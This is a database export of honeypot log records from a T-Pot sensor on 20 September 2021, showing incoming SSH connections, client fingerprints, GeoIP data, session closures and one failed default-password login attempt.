24951	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:28.767005+03	2021-09-20 14:15:09.46547+03	{"_id": "-QblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4ff9d54567d7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:28.767005Z", "@timestamp": "2021-09-20T11:09:28.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24952	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:09:28.789307+03	2021-09-20 14:15:09.46647+03	{"_id": "-gblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "08b078f23768", "@version": "1", "timestamp": "2021-09-20T11:09:28.789307Z", "@timestamp": "2021-09-20T11:09:28.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24953	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:09:28.906009+03	2021-09-20 14:15:09.468471+03	{"_id": "-wblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin2002] failed", "session": "5307918302be", "@version": "1", "password": "admin2002", "username": "admin", "timestamp": "2021-09-20T11:09:28.906009Z", "@timestamp": "2021-09-20T11:09:28.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24954	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:28.909635+03	2021-09-20 14:15:09.469471+03	{"_id": "_AblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1693ec9b7520", "@version": "1", "duration": 2.7594337463378906, "timestamp": "2021-09-20T11:09:28.909635Z", "@timestamp": "2021-09-20T11:09:28.909Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24955	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:29.054483+03	2021-09-20 14:15:09.4705+03	{"_id": "_QblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4ff9d54567d7", "@version": "1", "timestamp": "2021-09-20T11:09:29.054483Z", "@timestamp": "2021-09-20T11:09:29.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24956	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:29.243062+03	2021-09-20 14:15:09.47147+03	{"_id": "_gblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0f0126aee32a", "@version": "1", "duration": 2.7876954078674316, "timestamp": "2021-09-20T11:09:29.243062Z", "@timestamp": "2021-09-20T11:09:29.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24957	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:29.343587+03	2021-09-20 14:15:09.472505+03	{"_id": "_wblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5d606a35689f", "@version": "1", "duration": 2.9766550064086914, "timestamp": "2021-09-20T11:09:29.343587Z", "@timestamp": "2021-09-20T11:09:29.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24958	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:24.703591+03	2021-09-20 14:15:09.474501+03	{"_id": "XwblAnwBvYTbRNuEdxcL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2116151524214417, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41520, "dest_port": 22, "timestamp": "2021-09-20T11:09:24.703591Z", "@timestamp": "2021-09-20T11:09:24.703Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24959	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:24.703701+03	2021-09-20 14:15:09.4755+03	{"_id": "YgblAnwBvYTbRNuEeBcR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41520, "dest_port": 22, "timestamp": "2021-09-20T11:09:24.703701", "@timestamp": "2021-09-20T11:09:24.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24960	222.186.30.112	109.199.241.180	Suricata	2021-09-20 14:09:25.921275+03	2021-09-20 14:15:09.476521+03	{"_id": "egblAnwBvYTbRNuEehfy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:09:25.403111+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "222.186.30.112", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.186.30.112", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1376085709498023, "payload": "AAADVAUUUBoy2DYmvmtoCXhJHfotAQAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADq29I6HQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57342, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:09:25.921275Z", "@timestamp": "2021-09-20T11:09:25.921Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..P.2.6&.kh.xI..-.....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none................:."}}	1	\N	\N	alert	known attacker	\N
24961	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:25.66668+03	2021-09-20 14:15:09.4785+03	{"_id": "fQblAnwBvYTbRNuEexf6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "222.186.30.112", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57342, "timestamp": "2021-09-20T11:09:25.666680", "@timestamp": "2021-09-20T11:09:25.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24962	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:26.648708+03	2021-09-20 14:15:09.4795+03	{"_id": "sQblAnwBvYTbRNuEfhfc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1650933551745863, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59508, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.648708Z", "@timestamp": "2021-09-20T11:09:26.648Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
